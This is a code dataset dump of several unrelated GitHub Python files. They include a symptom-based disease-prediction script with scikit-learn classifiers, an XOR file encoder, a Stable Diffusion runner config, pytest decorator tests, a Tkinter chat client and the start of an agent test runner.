'unsteadiness','weakness_of_one_body_side','loss_of_smell','bladder_discomfort','foul_smell_of urine',\r\n 'continuous_feel_of_urine','passage_of_gases','internal_itching','toxic_look_(typhos)','depression',\t\r\n'irritability','muscle_pain','altered_sensorium','red_spots_over_body','belly_pain','abnormal_menstruation',\t\r\n'dischromic _patches','watering_from_eyes','increased_appetite',\t'polyuria','family_history',\t\r\n'mucoid_sputum','rusty_sputum','lack_of_concentration','visual_disturbances','receiving_blood_transfusion',\t\r\n'receiving_unsterile_injections','coma','stomach_bleeding','distention_of_abdomen','history_of_alcohol_consumption',\t\r\n'fluid_overload','blood_in_sputum','prominent_veins_on_calf','palpitations','painful_walking','pus_filled_pimples',\r\n'blackheads','scurring', 'skin_peeling', 'silver_like_dusting',\r\n 'small_dents_in_nails','inflammatory_nails','blister',\r\n 'red_sore_around_nose','yellow_crust_ooze']\r\n\r\ndisease=['Fungal infection','Allergy','GERD','Chronic cholestasis','Drug Reaction',\r\n'Peptic ulcer diseae','AIDS','Diabetes','Gastroenteritis','Bronchial Asthma','Hypertension',\r\n' Migraine','Cervical spondylosis',\r\n'Paralysis (brain hemorrhage)','Jaundice','Malaria','Chicken pox','Dengue','Typhoid','hepatitis A',\r\n'Hepatitis B','Hepatitis C','Hepatitis D','Hepatitis E','Alcoholic hepatitis','Tuberculosis',\r\n'Common Cold','Pneumonia','Dimorphic hemmorhoids(piles)',\r\n'Heartattack','Varicoseveins','Hypothyroidism','Hyperthyroidism','Hypoglycemia','Osteoarthristis',\r\n'Arthritis','(vertigo) Paroymsal Positional Vertigo','Acne','Urinary tract infection','Psoriasis',\r\n'Impetigo']\r\n\r\nl2=[]\r\nfor x in range(0,len(l1)):\r\n l2.append(0)\r\n \r\n\r\ndf=pd.read_csv(\"D:\\Machine Learning\\Disease Prediction\\Disease\\Training.csv\") \r\n\r\ndf.replace({'prognosis':{'Fungal infection':0,'Allergy':1,'GERD':2,'Chronic cholestasis':3,'Drug Reaction':4,\r\n'Peptic ulcer diseae':5,'AIDS':6,'Diabetes ':7,'Gastroenteritis':8,'Bronchial Asthma':9,'Hypertension ':10,\r\n'Migraine':11,'Cervical spondylosis':12,\r\n'Paralysis (brain hemorrhage)':13,'Jaundice':14,'Malaria':15,'Chicken pox':16,'Dengue':17,'Typhoid':18,'hepatitis A':19,\r\n'Hepatitis B':20,'Hepatitis C':21,'Hepatitis D':22,'Hepatitis E':23,'Alcoholic hepatitis':24,'Tuberculosis':25,\r\n'Common Cold':26,'Pneumonia':27,'Dimorphic hemmorhoids(piles)':28,'Heart attack':29,'Varicose veins':30,'Hypothyroidism':31,\r\n'Hyperthyroidism':32,'Hypoglycemia':33,'Osteoarthristis':34,'Arthritis':35,\r\n'(vertigo) Paroymsal Positional Vertigo':36,'Acne':37,'Urinary tract infection':38,'Psoriasis':39,\r\n'Impetigo':40}},inplace=True)\r\n\r\nX= df[l1]\r\n\r\ny = df[[\"prognosis\"]]\r\n\r\nnp.ravel(y)\r\n\r\ntr=pd.read_csv(\"D:\\Machine Learning\\Disease Prediction\\Disease\\Testing.csv\")\r\ntr.replace({'prognosis':{'Fungal infection':0,'Allergy':1,'GERD':2,'Chronic cholestasis':3,'Drug Reaction':4,\r\n'Peptic ulcer diseae':5,'AIDS':6,'Diabetes ':7,'Gastroenteritis':8,'Bronchial Asthma':9,'Hypertension ':10,\r\n'Migraine':11,'Cervical spondylosis':12,\r\n'Paralysis (brain hemorrhage)':13,'Jaundice':14,'Malaria':15,'Chicken pox':16,'Dengue':17,'Typhoid':18,'hepatitis A':19,\r\n'Hepatitis B':20,'Hepatitis C':21,'Hepatitis D':22,'Hepatitis E':23,'Alcoholic hepatitis':24,'Tuberculosis':25,\r\n'Common Cold':26,'Pneumonia':27,'Dimorphic hemmorhoids(piles)':28,'Heart attack':29,'Varicose veins':30,'Hypothyroidism':31,\r\n'Hyperthyroidism':32,'Hypoglycemia':33,'Osteoarthristis':34,'Arthritis':35,\r\n'(vertigo) Paroymsal Positional Vertigo':36,'Acne':37,'Urinary tract infection':38,'Psoriasis':39,\r\n'Impetigo':40}},inplace=True)\r\n\r\nX_test= tr[l1]\r\ny_test = tr[[\"prognosis\"]]\r\nnp.ravel(y_test)\r\n\r\n#Prediction Using Decision tree algorithm\r\n\r\n\r\n \r\n\r\n#Prediction using Random Forest Algorithm\r\n \r\ndef randomforest():\r\n from sklearn.ensemble import RandomForestClassifier\r\n clf4 = RandomForestClassifier()\r\n clf4 = clf4.fit(X,np.ravel(y))\r\n\r\n # calculating accuracy-------------------------------------------------------------------\r\n from sklearn.metrics import accuracy_score\r\n y_pred=clf4.predict(X_test)\r\n print(accuracy_score(y_test, y_pred))\r\n print(accuracy_score(y_test, y_pred,normalize=False))\r\n # -----------------------------------------------------\r\n\r\n psymptoms = [Symptom1.get(),Symptom2.get(),Symptom3.get(),Symptom4.get(),Symptom5.get()]\r\n\r\n for k in range(0,len(l1)):\r\n for z in psymptoms:\r\n if(z==l1[k]):\r\n l2[k]=1\r\n\r\n inputtest = [l2]\r\n predict = clf4.predict(inputtest)\r\n predicted=predict[0]\r\n\r\n h='no'\r\n for a in range(0,len(disease)):\r\n if(predicted == a):\r\n h='yes'\r\n break\r\n\r\n if (h=='yes'):\r\n t2.delete(\"1.0\", END)\r\n t2.insert(END, disease[a])\r\n else:\r\n t2.delete(\"1.0\", END)\r\n t2.insert(END, \"Not Found\")\r\n\r\n\r\n#Prediction Using Naive Bayes algorithm\r\ndef NaiveBayes():\r\n from sklearn.naive_bayes import GaussianNB\r\n gnb = GaussianNB()\r\n gnb=gnb.fit(X,np.ravel(y))\r\n\r\n # calculating accuracy-------------------------------------------------------------------\r\n from sklearn.metrics import accuracy_score\r\n y_pred=gnb.predict(X_test)\r\n print(accuracy_score(y_test, y_pred))\r\n print(accuracy_score(y_test, y_pred,normalize=False))\r\n # -----------------------------------------------------\r\n\r\n psymptoms = [Symptom1.get(),Symptom2.get(),Symptom3.get(),Symptom4.get(),Symptom5.get()]\r\n for k in range(0,len(l1)):\r\n for z in psymptoms:\r\n if(z==l1[k]):\r\n l2[k]=1\r\n\r\n inputtest = [l2]\r\n predict = gnb.predict(inputtest)\r\n predicted=predict[0]\r\n\r\n h='no'\r\n for a in range(0,len(disease)):\r\n if(predicted == a):\r\n h='yes'\r\n break\r\n\r\n if (h=='yes'):\r\n t3.delete(\"1.0\", END)\r\n t3.insert(END, disease[a])\r\n else:\r\n t3.delete(\"1.0\", END)\r\n t3.insert(END, \"Not Found\")\r\n \r\n \r\n#Predicting some results:\r\nfrom sklearn import tree\r\n\r\nclf3 = tree.DecisionTreeClassifier() # empty model of the decision tree\r\nclf3 = clf3.fit(X,y)\r\n\r\n# calculating accuracy-------------------------------------------------------------------\r\nfrom sklearn.metrics import accuracy_score\r\ny_pred=clf3.predict(X_test)\r\nprint(accuracy_score(y_test, y_pred))\r\nprint(accuracy_score(y_test, y_pred,normalize=False))\r\n# -----------------------------------------------------\r\n\r\npsymptoms = ['itching', 'skin_rash','nodal_skin_eruptions']\r\n\r\nfor k in range(0,len(l1)):\r\n # print (k,)\r\n for z in psymptoms:\r\n if(z==l1[k]):\r\n l2[k]=1\r\n\r\ninputtest = [l2]\r\npredict = clf3.predict(inputtest)\r\npredicted=predict[0]\r\n\r\nfor a in range(0,len(disease)):\r\n if(predicted == a):\r\n h='yes'\r\n break\r\n\r\nprint(disease[a])\r\n\r\ndataframe_cure = pd.read_csv(\"D:\\Machine Learning\\Disease Prediction\\Disease\\cure_data.csv\")\r\ncures = dataframe_cure.herbal_treatment\r\ncures2 = cures.tolist()\r\n\r\nX_cure = dataframe_cure.drop('herbal_treatment',axis=1)\r\ny_cure = dataframe_cure[['herbal_treatment']]\r\n\r\nnp.ravel(y_cure)\r\n\r\ncureszero = []\r\nfor x in range(0,len(cures2)):\r\n cureszero.append(0)\r\n\r\n\r\nfrom sklearn.preprocessing import LabelEncoder\r\nlabelencoder = LabelEncoder()\r\ny_cure = labelencoder.fit_transform(y_cure)\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\ndecsion_cure = DecisionTreeClassifier()\r\ndecsion_cure = decsion_cure.fit(X_cure,y_cure)\r\n\r\ncure_disease = ['Common Cold']\r\n\r\nfor k in range(0,len(disease)):\r\n # print (k,)\r\n for z in cure_disease:\r\n if(z==disease[k]):\r\n cureszero[k]=1\r\n\r\ninputtest1 = [cureszero]\r\npredict1 = decsion_cure.predict(inputtest1)\r\npredicted1=predict1[0]\r\nprint(predicted1)\r\n\r\nfor a in range(0,len(cures2)):\r\n if(predicted1 == y_cure[a]):\r\n break\r\n \r\nprint(cures2[a])\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nalgCure = RandomForestClassifier(n_estimators=500)\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n","repo_name":"aakash1999/DiseasePrediction","sub_path":"disease_prediction_final.py","file_name":"disease_prediction_final.py","file_ext":"py","file_size_in_byte":9612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70631823505","text":"import Crypto.Util.strxor\nfrom os import path, stat\nfrom math import ceil\n\ndef sxor(s1, s2):\n s1_len = len(s1)\n s2_len = len(s2)\n if (s1_len > s2_len):\n s2 = s2.ljust(s1_len,' ')\n elif (s2_len > s1_len):\n s1 = s1.ljust(s2_len,' ')\n return Crypto.Util.strxor.strxor(s1,s2)\n\ndef encode(data):\n y7 = sxor(sxor(data[2],data[4]),data[5])\n y8 = sxor(sxor(data[1],data[3]),data[5])\n y9 = sxor(sxor(data[0],data[3]),data[4])\n y10= sxor(sxor(data[0],data[1]),data[2])\n return [y7,y8,y9,y10]\n\ndef create_part_files(part_path):\n files = [None]*10\n for i in xrange(0,10):\n files[i] = open(part_path+'.'+str(i)+'_10.partial','a')\n return files\n\ndef split_file(inf, inf_size, files):\n part_size = int(ceil(inf_size/6.0))\n # print part_size\n for i in xrange(0,6):\n part = inf.read(part_size)\n files[i].write(part)\n\ndef encode_to_files(inf, inf_size, to_path):\n data = None\n filename = path.basename(inf.name)\n part_path = path.join(to_path, filename)\n # inf_size = stat(inf).st_size\n part_size = int(ceil(inf_size/6.0))\n files = create_part_files(part_path)\n split_file(inf, inf_size, files)\n\n for f in xrange(0,6):\n files[f].close()\n files[f] = open(part_path+'.'+str(f)+'_10.partial','r')\n\n while part_size > 0:\n array = ['']*6\n for f in xrange(0,6):\n array[f] = files[f].read(4096)\n data = encode(array)\n for f in xrange(0,4):\n files[6+f].write(data[f])\n part_size -= 4096\n for f in files:\n f.close()\n\n#Remove comment to test xor_encoder\n# inf_path = 'test/100KB_0'\n# with open(inf_path,'rb') as f:\n# encode_to_files(f, stat(inf_path).st_size, 'test/')","repo_name":"hmatland/distributed_duplicity","sub_path":"xor_encode.py","file_name":"xor_encode.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32885536238","text":"from runner import Runner\n\nopts = {\n \"model_name\" : \"DGSpitzer/Cyberpunk-Anime-Diffusion\",\n \"prompt\": \"cyberpunk style, Barack Obama\",\n \"steps\": 20,\n \"number_of_images\": 20,\n \"seed_start\": 0,\n \"seed_end\": 2048,\n \"guidance_scale\": 7.5,\n # \"facetool_strength\": 0.9,\n}\n\nrunner = Runner(opts)\nrunner.setup_pipeline()\nrunner.run()\n\n","repo_name":"container-labs/stable-diffusion","sub_path":"scripts/cyberpunk.py","file_name":"cyberpunk.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25878869172","text":"from multiprocessing import Process\nimport os\n\n\ndef info(title):\n print(f'Title: {title} Module name: {__name__}, parent process {os.getppid()}, process id: {os.getpid()}')\n\n\ndef f(name):\n info('function f')\n print('hello', name)\n\n\nif __name__ == '__main__':\n info('main line')\n p = Process(target=f, args=('bob',))\n p.start()\n p.join()\n","repo_name":"Yamp/home_lab","sub_path":"python/speedups/threading/mulktiproc_ex2.py","file_name":"mulktiproc_ex2.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38743363691","text":"import asyncio\nimport os\n\nimport pytest\nfrom core.components.baseclass import Base\nfrom core.components.decorators import connectguard, flagguard, formalin\nfrom core.components.flags import Flags\nfrom core.components.lockedvar import LockedVar\n\n\nclass FooClass(Base):\n def __init__(self):\n super().__init__()\n self.connected = LockedVar(\"connected\", False)\n self.started = False\n self.counter = 0\n\n @connectguard\n async def foo_connectguard_func(self):\n await asyncio.sleep(0.1)\n return True\n\n @flagguard\n async def foo_flagguard_func(self):\n await asyncio.sleep(0.1)\n return True\n\n @flagguard\n @formalin(\"Foo formalin\")\n async def foo_formalin_func(self):\n self.counter += 1\n await asyncio.sleep(0.1)\n\n\n@pytest.fixture\ndef foo_class():\n return FooClass()\n\n\n@pytest.mark.asyncio\nasync def test_connectguard(foo_class: FooClass):\n await foo_class.connected.set(False)\n res = await foo_class.foo_connectguard_func()\n assert res is None\n\n await foo_class.connected.set(True)\n res = await foo_class.foo_connectguard_func()\n assert res is True\n\n\n@pytest.mark.asyncio\nasync def test_flagguard(foo_class: FooClass):\n res = await foo_class.foo_flagguard_func()\n assert res is None\n\n # delete flag cache so that new flags are retrieved from env\n Flags._cache_flags = None\n\n os.environ[\"FLAG_FOOCLASS_FOO_FLAGGUARD_FUNC\"] = \"1\"\n res = await foo_class.foo_flagguard_func()\n assert res is True\n\n del os.environ[\"FLAG_FOOCLASS_FOO_FLAGGUARD_FUNC\"]\n\n\n@pytest.mark.asyncio\nasync def test_formalin(foo_class: FooClass):\n # reset flag cache and instance counter\n Flags._cache_flags = None\n foo_class.counter = 0\n # # # # # # # # # # # # # # # # # # # #\n\n # should run only once\n os.environ[\"FLAG_FOOCLASS_FOO_FORMALIN_FUNC\"] = \"0\"\n\n foo_class.started = True\n asyncio.create_task(foo_class.foo_formalin_func())\n await asyncio.sleep(1)\n foo_class.started = False\n await asyncio.sleep(0.5)\n\n assert foo_class.counter == 1 # counter increased only once\n\n del os.environ[\"FLAG_FOOCLASS_FOO_FORMALIN_FUNC\"]\n\n # reset flag cache and instance counter\n Flags._cache_flags = None\n foo_class.counter = 0\n # # # # # # # # # # # # # # # # # # # #\n\n # should run twice (every 0.5s in 1.1s)\n os.environ[\"FLAG_FOOCLASS_FOO_FORMALIN_FUNC\"] = \"0.5\"\n\n foo_class.started = True\n asyncio.create_task(foo_class.foo_formalin_func())\n await asyncio.sleep(1.1)\n foo_class.started = False\n await asyncio.sleep(0.5)\n\n assert foo_class.counter == 2 # counter increased twice\n\n del os.environ[\"FLAG_FOOCLASS_FOO_FORMALIN_FUNC\"]\n","repo_name":"hoprnet/ct-research","sub_path":"ct-app/test/components/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"33283096864","text":"from tkinter import *\n\nfrom tkinter.scrolledtext import ScrolledText\n\nfrom src.client import Client\nfrom src import utils\nfrom src.message import Message, MessageType\n\n\nclass InputBox(Text):\n def __init__(self, frame, height, width, font, func):\n super().__init__(frame, height=height, width=width, font=font)\n self.bind('', func)\n # self.bind('', self._remove_empty_string)\n\n def _remove_empty_strings(self, _):\n if self.get('0.0', END) == '\\n':\n self.delete('0.0', END)\n\n\nclass MessagesList(ScrolledText):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.bind_all('<>', self.copy_text)\n\n def copy_text(self, _=None):\n selected = self.selection_get()\n self.clipboard_clear()\n self.clipboard_append(selected)\n\n\nclass UserWindow(Tk):\n def __init__(self, nickname: str, client: Client):\n super().__init__()\n self.title(nickname)\n self.client = client\n self.nickname = nickname\n self.input_box = InputBox(self, height=3, width=30,\n font=('Times New Roman', 11), func=self._send_private_message)\n self.input_box.pack()\n self.private_message_button = Button(self, text='Приватное сообщение',\n width=len('Приватное сообщение') + 2,\n command=self._send_private_message)\n self.private_message_button.pack()\n self.move_to_black_list_button = Button(self, text='В игнор',\n width=len('В игнор') + 2,\n command=self._move_to_black_list)\n self.move_from_black_list_button = Button(self, text='Из игнора',\n width=len('Из игнора') + 2,\n command=self._move_from_black_list)\n if self.nickname not in self.client.black_list:\n self.move_to_black_list_button.pack()\n else:\n self.move_from_black_list_button.pack()\n\n def _move_to_black_list(self):\n self.client.black_list.add(self.nickname)\n self.move_to_black_list_button.pack_forget()\n self.move_from_black_list_button.pack()\n\n def _move_from_black_list(self):\n self.client.black_list.remove(self.nickname)\n self.move_from_black_list_button.pack()\n self.move_to_black_list_button.pack_forget()\n\n def _send_private_message(self, _=None):\n message = self.input_box.get('0.0', END)\n # TODO encapsulate\n self.input_box.delete('0.0', END)\n message = message.rstrip(u'\\n')\n if message == '':\n return\n message = Message(MessageType.PRIVATE, message)\n message.addressee = self.nickname\n self.client.send_message(message)\n\n def show(self):\n self.mainloop()\n\n\nclass UserList(utils.VerticalScrolledFrame):\n def __init__(self, root, client: Client, width=30):\n super().__init__(root, width=width)\n self._client = client\n self._refresher = utils.Daemon('gui_user_list_refresher', target=self.refresh, timeout=2)\n self.buttons = []\n\n def run(self):\n self._refresher.run()\n\n def refresh(self):\n for i in self.buttons:\n i.destroy()\n self.buttons.clear()\n users = sorted(list(self._client.users_list.keys()))\n\n def make_cmd(x):\n return lambda: self._open_profile(x)\n\n for user in users:\n cur = Button(self.interior, text=user, width=len(user) + 2, command=make_cmd(user))\n cur.pack(fill=X)\n self.buttons.append(cur)\n\n def _open_profile(self, nickname: str):\n user_window = UserWindow(nickname, self._client)\n user_window.show()\n\n def close(self):\n self._refresher.stop()\n\n\nclass NicknameBar(Tk):\n def __init__(self):\n super().__init__()\n self.title('Чат')\n text = Label(self, text='Введите ник: ')\n text.focus_set()\n text.grid(row=0)\n entry_field = Entry(self)\n self.nick = ''\n\n def destroy(_):\n nonlocal entry_field\n self.nick = entry_field.get()\n if not self.nick or len(self.nick) > 30:\n return\n self.destroy()\n self.quit()\n\n entry_field.bind('', destroy)\n entry_field.grid(row=0, column=1)\n\n def get(self) -> str:\n self.mainloop()\n if not self.nick:\n raise GeneratorExit()\n return self.nick\n\n\nclass Interface:\n def __init__(self, chat_addr=None, server_port=None):\n if chat_addr is None and server_port is None:\n server_port, chat_addr = self.get_port_and_ip()\n self.buttons = []\n self.root = None\n self.main_frame = None\n self.messages_box = None\n self.message_input_box = None\n self.client = None\n self.refresher = utils.Daemon(name='refreshing', target=self.refresh, timeout=0.1)\n self.users_list = None\n if server_port is None:\n self.close()\n return\n nickname = self.get_nickname()\n self.client = Client(nickname, chat_addr, server_port)\n\n @staticmethod\n def get_port_and_ip():\n root = Tk()\n root.title('Чат')\n port, ip = None, None\n\n def create_new():\n nonlocal port, ip, root, server_port_field\n try:\n port = int(server_port_field.get())\n except ValueError:\n return\n ip = None\n root.destroy()\n\n def connect():\n nonlocal root, port, ip\n try:\n port = int(server_port_field.get())\n except ValueError:\n return\n try:\n ip = chat_ip_field.get(), int(chat_port_field.get())\n except ValueError:\n return\n root.destroy()\n\n server_port_label = Label(root, text='Введите порт: ')\n server_port_label.focus_set()\n server_port_label.pack()\n server_port_field = Entry(root)\n server_port_field.insert(END, '9090')\n server_port_field.pack()\n\n button_create_new = Button(root, text='Создать', width=len('Создать') + 2, command=create_new)\n button_create_new.pack()\n button_create_new.pack_propagate(False)\n\n ip_label = Label(root, text='Введите IP: ')\n ip_label.focus_set()\n ip_label.pack()\n chat_ip_field = Entry(root)\n chat_ip_field.pack()\n\n port_label = Label(root, text='Введите порт подключения: ')\n port_label.pack()\n chat_port_field = Entry(root)\n chat_port_field.pack()\n\n button_connect = Button(root, text='Подключиться', width=len('Подключиться') + 2, command=connect)\n button_connect.pack()\n button_connect.pack_propagate(False)\n root.mainloop()\n return port, ip\n\n def init_UI(self):\n self.root = Tk()\n self.root.title('Чат')\n self.root.minsize(width=700, height=300)\n menu = Menu(self.root)\n self.root.config(menu=menu)\n settings = Menu(menu)\n menu.add_cascade(label='Настройки', menu=settings)\n settings.add_command(label='Сменить ник', command=self.change_nickname)\n self.users_list = UserList(self.root, self.client, width=200)\n self.users_list.pack(fill=Y, side=LEFT, anchor=SW)\n self.users_list.pack_propagate(0)\n self.main_frame = Frame(self.root, width=600, height=300)\n self.main_frame.pack(fill=BOTH, expand=1, side=LEFT, anchor=SW)\n self.root.protocol('WM_DELETE_WINDOW', self.close)\n\n self.messages_box = MessagesList(self.main_frame, height=7, width=30, font=('Times New Roman', 11))\n self.messages_box.config(state=DISABLED)\n self.messages_box.pack(fill=BOTH, expand=1)\n\n self.message_input_box = InputBox(self.main_frame, height=3, width=30,\n font=('Times New Roman', 11), func=self.send)\n self.message_input_box.pack(fill=BOTH, expand=1)\n self.message_input_box.focus_set()\n self.make_button('Отправить', 0, 2, self.send)\n\n def make_button(self, text: str, x: int, y: int, command):\n button = Button(self.main_frame, text=text, width=len(text) + 2, command=command)\n button.pack()\n button.pack_propagate(False)\n self.buttons.append(button)\n return button\n\n def get_nickname(self) -> str:\n try:\n return NicknameBar().get()\n except GeneratorExit:\n if self.client is None or not self.client.nickname:\n self.close()\n\n def change_nickname(self, _=None):\n nickname = self.get_nickname()\n self.client.send_message(Message(MessageType.SHARED, 'Сменил ник на ' + nickname))\n self.client.nickname = nickname # TODO critical section\n\n def send(self, _=None):\n beginning = '0.0'\n message = self.message_input_box.get(beginning, END)\n # TODO encapsulate\n self.message_input_box.delete(beginning, END)\n message = message.rstrip(u'\\n')\n if message == '':\n return\n message = Message(MessageType.SHARED, message)\n self.client.send_message(message)\n\n def run(self):\n self.init_UI()\n self.client.run()\n self.refresher.run()\n self.users_list.run()\n self.root.mainloop()\n\n def refresh(self):\n message = self.client.get()\n if message is not None:\n self.get_message(message)\n\n def get_message(self, message: Message):\n nickname_start, nickname_end = message.get_nick_position()\n message = str(message) + '\\n'\n self.messages_box.config(state=NORMAL)\n need_to_scroll = False\n if self.messages_box.yview()[1] > 0.9:\n need_to_scroll = True\n cur_line, cur_column = map(int, self.messages_box.index(END).split('.'))\n cur_line -= 1\n self.messages_box.insert(END, message)\n self.messages_box.tag_add('nickname', '{}.{}'.format(cur_line, nickname_start),\n '{}.{}'.format(cur_line, nickname_end))\n self.messages_box.tag_config('nickname', foreground='blue')\n self.messages_box.config(state=DISABLED)\n if need_to_scroll:\n self.messages_box.see(END)\n\n def close(self):\n self.refresher.stop()\n if self.users_list is not None:\n self.users_list.close()\n if self.root is not None:\n self.root.destroy()\n self.root.quit()\n if self.client is not None:\n self.client.close()\n sys.exit(0)\n","repo_name":"Apollon76/decentralized_chat","sub_path":"src/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":11018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32179126094","text":"import json\n\nif __name__ == '__main__':\n\n # Loading the data...\n with open('list.json') as file:\n data = json.load(file)\n print(data)\n print(f'loaded data is from type: {type(data)}')\n print(f'data elements area from type {type(data[0])}')\n\n # Changing the value of a key in an existent record (dict/json object)\n print(data[2][\"name\"])\n data[2][\"name\"] = input(\"type a new name for record two: \")\n with open('list.json', mode='w') as file:\n json.dump(data, file, indent=2)\n\n # Adding a new record\n record = {}\n record[\"name\"] = \"New User\"\n data.append(record)\n with open('list.json', mode='w') as file:\n json.dump(data, file, indent=2)\n","repo_name":"Hans-Lambda/exercise_solutions","sub_path":"026/examples-class/from_json_list.py","file_name":"from_json_list.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72751094226","text":"import hashlib\nimport time\nfrom collections import namedtuple\n\nimport trio\nfrom trio import socket\nfrom cmb_protocol.connection import ClientSideConnection\nfrom cmb_protocol.constants import calculate_number_of_blocks\nfrom cmb_protocol.packets import PacketType\nfrom cmb_protocol.helpers import once\nfrom cmb_protocol.trio_util import spawn_child_nursery, get_ip_family\nfrom cmb_protocol import log_util\n\nlogger = log_util.get_logger(__name__)\n\n\nConnectionConfig = namedtuple('ConnectionConfig', ['address', 'sending_rate', 'reverse'])\n\n\nasync def run_receive_loop(connection_opened, connection_closed, write_blocks, resource_id, connection_config):\n with socket.socket(family=get_ip_family(connection_config.address), type=socket.SOCK_DGRAM) as udp_sock:\n async with trio.open_nursery() as nursery:\n child_nursery, shutdown_trigger = await spawn_child_nursery(nursery.start_soon, shutdown_timeout=3)\n\n with trio.CancelScope() as cancel_scope:\n await udp_sock.connect(connection_config.address)\n log_util.set_listen_address(udp_sock.getsockname()[:2])\n log_util.set_remote_address(connection_config.address)\n\n @once\n def shutdown():\n # coordinate shutdown with higher order protocol instance\n connection_closed()\n # trigger child nursery timeout\n shutdown_trigger.set()\n # cancel receive loop\n cancel_scope.cancel()\n logger.debug('Closed connection')\n\n spawn = child_nursery.start_soon\n\n async def send(packet_to_send):\n packet_bytes = packet_to_send.to_bytes()\n await udp_sock.send(packet_bytes)\n\n connection = ClientSideConnection(shutdown, spawn, send, write_blocks, resource_id,\n connection_config.sending_rate, connection_config.reverse)\n # coordinate startup with higher order protocol instance\n connection_opened(connection)\n\n while True:\n try:\n data = await udp_sock.recv(2048)\n packet = PacketType.parse_packet(data)\n except (ConnectionResetError, ConnectionRefusedError):\n # maybe handle this error\n # however, it is not guaranteed that we will receive an error when sending into the void\n pass\n except ValueError as exc:\n logger.exception(exc)\n else:\n await connection.handle_packet(packet)\n\n\nasync def fetch(resource_id, connection_configs):\n resource_hash, resource_length = resource_id\n blocks = [None] * calculate_number_of_blocks(resource_length)\n\n async with trio.open_nursery() as nursery:\n connections = dict() # reverse -> connection\n\n # inner function to create a closure around reverse_direction and server_address\n def spawn_connection(connection_config):\n def connection_opened(connection):\n connections[connection_config.reverse] = connection\n\n def connection_closed():\n del connections[connection_config.reverse]\n\n async def write_block(block_id, received_block):\n blocks[block_id - 1] = received_block # block ids start at 1\n\n if (not connection_config.reverse) in connections:\n await connections[not connection_config.reverse].send_stop(block_id)\n\n nursery.start_soon(run_receive_loop, connection_opened, connection_closed, write_block,\n resource_id, connection_config)\n\n for config in connection_configs:\n spawn_connection(config)\n\n md5 = hashlib.md5()\n for block in blocks:\n md5.update(block)\n assert md5.digest() == resource_hash\n\n return blocks\n\n\ndef log_value_error(exc):\n if isinstance(exc, ValueError):\n logger.error(exc)\n return None\n else:\n return exc\n\n\ndef run(resource_id, file_writer, connection_configs):\n if hasattr(file_writer, 'buffer'):\n # in case of stdout we have to use the buffer to write binary data\n file_writer = file_writer.buffer\n\n logger.info('Writing to %s', file_writer.name)\n _, resource_length = resource_id\n logger.info('Downloading %f Mb', resource_length / 1000 / 1000)\n logger.info('Combined target transmission rate %f Mbit/s',\n sum(config.sending_rate for config in connection_configs) / 1000 / 1000 * 8)\n\n with trio.MultiError.catch(log_value_error):\n start = time.time()\n blocks = trio.run(fetch, resource_id, connection_configs)\n elapsed = time.time() - start\n logger.info('Took %f seconds', elapsed)\n logger.info('Good put %f Mbit/s', resource_length / 1000 / 1000 / elapsed * 8)\n\n with file_writer:\n for block in blocks:\n file_writer.write(block)\n","repo_name":"felixschorer/cmb-protocol","sub_path":"cmb_protocol/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12458308387","text":"from __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport shutil\nimport os\nimport atexit\nfrom io import open\n\nif False: # NOSONAR\n from typing import Dict, Optional, Any, Union\n\nimport copy\nimport json\nimport pprint\nimport subprocess\n\nfrom distutils.spawn import find_executable\n\nfrom scalyr_agent.__scalyr__ import PACKAGE_INSTALL, DEV_INSTALL, get_package_root\nfrom scalyr_agent import compat\nfrom scalyr_agent.platform_controller import PlatformController\nfrom scalyr_agent.configuration import Configuration\n\nfrom tests.utils.compat import Path\nfrom tests.utils.common import get_env\n\nimport six\n\n_AGENT_MAIN_PATH = Path(get_package_root(), \"agent_main.py\")\n_CONFIG_MAIN_PATH = Path(get_package_root(), \"config_main.py\")\n\n\ndef _make_or_clear_directory(path): # type: (Path) -> None\n \"\"\"\n Create directory or clear it if exests..\n \"\"\"\n if path.exists():\n shutil.rmtree(six.text_type(path), ignore_errors=True)\n path.mkdir(exist_ok=True, parents=True)\n\n\ndef _path_or_text(fn):\n def wrapper(self, path, *args, **kwargs):\n if isinstance(path, six.text_type):\n path = Path(path)\n return fn(self, path, *args, **kwargs)\n\n return wrapper\n\n\nclass AgentRunner(object):\n \"\"\"\n Agent runner provides ability to launch Scalyr agent with needed configuration settings.\n \"\"\"\n\n def __init__(\n self,\n installation_type=DEV_INSTALL,\n enable_coverage=False,\n enable_debug_log=False,\n send_to_server=True,\n workers_type=\"thread\",\n workers_session_count=1,\n ): # type: (int, bool, bool, bool, six.text_type, int) -> None\n\n if enable_coverage and installation_type != DEV_INSTALL:\n raise ValueError(\"Coverage is only supported for dev installs\")\n\n # agent data directory path.\n self._agent_data_dir_path = None # type: Optional[Path]\n # agent logs directory path.\n self.agent_logs_dir_path = None # type: Optional[Path]\n # path to the agent config.\n self._agent_config_path = None # type: Optional[Path]\n\n # path to the agent.log file.\n self.agent_log_file_path = None # type: Optional[Path]\n\n # all files processed by the agent\n self._files = dict() # type: Dict[six.text_type, Path]\n\n # all files considered as a log files.\n self._log_files = dict() # type: Dict[six.text_type, Dict[six.text_type, Any]]\n\n # The gent runner uses this variable as 